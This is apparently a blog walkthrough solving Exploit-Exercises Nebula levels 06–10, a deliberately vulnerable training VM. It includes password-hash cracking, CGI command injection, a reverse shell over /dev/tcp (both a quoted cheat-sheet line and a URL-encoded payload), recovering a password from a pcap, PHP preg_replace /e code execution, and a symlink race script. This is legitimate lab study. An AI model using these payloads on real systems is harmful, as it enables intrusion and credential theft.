index search github twitter

Exploit-Exercises: Nebula (06-10)

Image: Exploit-Exercises: Nebula (v5)

Level06

From the assignment “The flag06 account credentials came from a legacy unix system” we conclude that the password is stored in /etc/passwd.

level06@nebula:/home/flag06$ grep flag06 /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

We store credentials to /tmp/hash.txt and use john:

level06@nebula:/home/flag06$ john /tmp/hash.txt 
Created directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 75300  trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably

Now we can log using ‘hello’ password:

level06@nebula:/home/flag06$ su - flag06
Password: 
flag06@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level07

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

The configuration file is stored in ‘/home/flag07/thttpd.conf’.

Because there is no input validation, we have RCE:

level07@nebula:~$ wget -qO- "http://127.0.0.1:7007/index.cgi?Host=127.0.0.1"
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.009 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.023 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.009/0.018/0.023/0.006 ms
</pre></body></html>

level07@nebula:~$ wget -qO- "http://127.0.0.1:7007/index.cgi?Host=127.0.0.1+%3b+id"
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.027 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.012/0.020/0.027/0.007 ms
uid=992(flag07) gid=992(flag07) groups=992(flag07)

Inspired by Reverse Shell Cheat Sheet

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

we can create reverse shell on port 1337 via bash, using ruby to encode our payload:

sh-4.2$ nc -l 1337

sh-4.2$ ruby -e "print 'http://nebula:7007/index.cgi?Host=' + '127.0.0.1;bash -i >& /dev/tcp/127.0.0.1/1337 0>&1;'.split(//).map{|x| '%' + x.ord.to_s(16)}.join + \"\n\""
http://nebula:7007/index.cgi?Host=%31%32%37%2e%30%2e%30%2e%31%3b%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%33%33%37%20%30%3e%26%31%3b

sh-4.2$ wget -qO- "http://nebula:7007/index.cgi?Host=%31%32%37%2e%30%2e%30%2e%31%3b%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%33%33%37%20%30%3e%26%31%3b"
<html><head><title>Ping results</title></head><body><pre>

In the window with nc, we got:

flag07@nebula:/home/flag07$ id
id
uid=992(flag07) gid=992(flag07) groups=992(flag07)

flag07@nebula:/home/flag07$ getflag
getflag
You have successfully executed getflag on a target account

Level08

level08@nebula:/home/flag08$ tcpick -C -yU -r capture.pcap
Starting tcpick 0.2.1 at 2015-06-17 05:20 PDT
Timeout for connections is 600
tcpick: reading from capture.pcap
1      SYN-SENT       59.233.235.218:39247 > 59.233.235.223:12121
1      SYN-RECEIVED   59.233.235.218:39247 > 59.233.235.223:12121
1      ESTABLISHED    59.233.235.218:39247 > 59.233.235.223:12121
<ff><fd>%
<ff><fc>%
<ff><fb>&<ff><fd><18><ff><fd> <ff><fd>#<ff><fd>'<ff><fd>$
<ff><fe>&<ff><fb><18><ff><fb> <ff><fb>#<ff><fb>'<ff><fc>$
<ff><fa> <01><ff><f0><ff><fa>#<01><ff><f0><ff><fa>'<01><ff><f0><ff><fa><18><01><ff><f0>
<ff><fa> <00>38400,38400<ff><f0><ff><fa>#<00>SodaCan:0<ff><f0><ff><fa>'<00><00>DISPLAY<01>SodaCan:0<ff><f0><ff><fa><18><00>xterm<ff><f0>
<ff><fb><03><ff><fd><01><ff><fd>"<ff><fd><1f><ff><fb><05><ff><fd>!
<ff><fd><03><ff><fc><01><ff><fb>"<ff><fa>"<03><01><00><00><03>b<03><04><02><0f><05><00><00><07>b<1c><08><02><04>	B<1a>
<02><7f><0b><02><15><0f><02><11><10><02><13><11><02><ff><ff><12><02><ff><ff><ff><f0><ff><fb><1f><ff><fa><1f><00><b1><00>1<ff><f0><ff><fd><05><ff><fb>!
<ff><fa>"<01><03><ff><f0>
<ff><fa>"<01><07><ff><f0>
<ff><fa>!<03><ff><f0><ff><fb><01><ff><fd><00><ff><fe>"
<ff><fd><01><ff><fb><00><ff><fc>"
<ff><fa>"<03><03><e2><03><04><82><0f><07><e2><1c><08><82><04>	<c2><1a>
<82><7f><0b><82><15><0f><82><11><10><82><13><11><82><ff><ff><12><82><ff><ff><ff><f0>

Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)

<01><00>wwwbugs login: 
l
<00>l
e
<00>e
v
<00>v
e
<00>e
l
<00>l
8
<00>8

<01>
<00>
Password: 
b
a
c
k
d
o
o
r
<7f>
<7f>
<7f>
0
0
R
m
8
<7f>
a
t
e

<00>
<01>
<00>
Login incorrect
wwwbugs login: 
1      FIN-WAIT-1     59.233.235.218:39247 > 59.233.235.223:12121
1      TIME-WAIT      59.233.235.218:39247 > 59.233.235.223:12121
1      CLOSED         59.233.235.218:39247 > 59.233.235.223:12121
tcpick: done reading from capture.pcap

95 packets captured
1 tcp sessions detected

We can see from the output above that 0x7f represents delete keystore, so the password we are looking for is ‘backd00Rmate’

level08@nebula:/home/flag08$ su flag08
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level09

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Because the flag09 binary is interpreted via php shell, there is a trivial solution:

level09@nebula:/home/flag09$ ./flag09 -h
Usage: php [options] [-f] <file> [--] [args...]
       php [options] -r <code> [--] [args...]
       php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
       php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
       php [options] -- [args...]
       php [options] -a

  -a               Run as interactive shell
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --ri <name>      Show configuration for extension <name>.

level09@nebula:/home/flag09$ ./flag09 -a
Interactive shell

php > system('id');
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
php > system('getflag');
You have successfully executed getflag on a target account

Second way how to solve this challenge is to use PCRE pattern modifiers vulnerability in PREG_REPLACE_EVAL.

sh-4.2$ cat /tmp/09 
[email bla@blabla.com]

sh-4.2$ ./flag09 /tmp/09 testing
bla AT blabla dot com

Because we cannot use quotes, we can inject something with complex (curly) syntax, that could be used for strings representation.

sh-4.2$ cat /tmp/09 
[email {${phpinfo()}}]

sh-4.2$ ./flag09 /tmp/09 | head
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2

System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Build Date => Oct 13 2011 23:17:32
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli
Loaded Configuration File => /etc/php5/cli/php.ini
Scan this dir for additional .ini files => /etc/php5/cli/conf.d

Here the second argument $use_me is invoked:

sh-4.2$ cat /tmp/09 
[email {${system($use_me)}}]

sh-4.2$ ./flag09 /tmp/09 getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Actually, I have found the third solution without using $use_me parameter, but recycling $filename:

sh-4.2$ cat /tmp/09 
[email {${system($filename)}}]
/bin/sh

sh-4.2$ chmod +x /tmp/09 

sh-4.2$ id
uid=1010(level09) gid=1010(level09) groups=1010(level09)

sh-4.2$ /home/flag09/flag09 /tmp/09 
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
/tmp/09: line 1: {${system($filename)}}]: bad substitution

sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)

sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level10

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

What to do is immediately clear, there is a race condition in the code, after we call access() to some file, it could be different file with the same name, which we are trying to open.

man 2 access

  Warning:  Using access() to check if a user is authorized to, for example, open
  a file before actually doing so using open(2) creates a security hole, because
  the user might exploit the short time interval between checking and opening the
  file to manipulate it.  For this reason, the use of this system call should be
  avoided.

So /home/flag10/flag10 binary sends arbitrary file with access() permission to some host, port 18211.

We can test it in two screens using:

sh-4.2$ nc -l 18211

sh-4.2$ /home/flag10/flag10 /etc/passwd 0

Our exploit:

#!/usr/bin/env bash

run_netcat() {
  while :; do nc -l 18211; done
}

make_symlinks() {
  while :; do ln -sf /dev/null /tmp/token ; ln -sf /home/flag10/token /tmp/token; done
}

run_flag() {
  while :; do /home/flag10/flag10 /tmp/token 0 >/dev/null 2>&1 ; done
}

run_netcat &
make_symlinks &
run_flag &

sleep 0.05
pkill -P $$ # Kill all children
sh-4.2$ ./mklink.sh 
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
./mklink.sh: line 20: 31349 Terminated              run_netcat
./mklink.sh: line 20: 31350 Terminated              make_symlinks
./mklink.sh: line 20: 31351 Terminated              run_flag

sh-4.2$ su flag10
Password: 

sh-4.2$ id
uid=989(flag10) gid=989(flag10) groups=989(flag10)

sh-4.2$ getflag
You have successfully executed getflag on a target account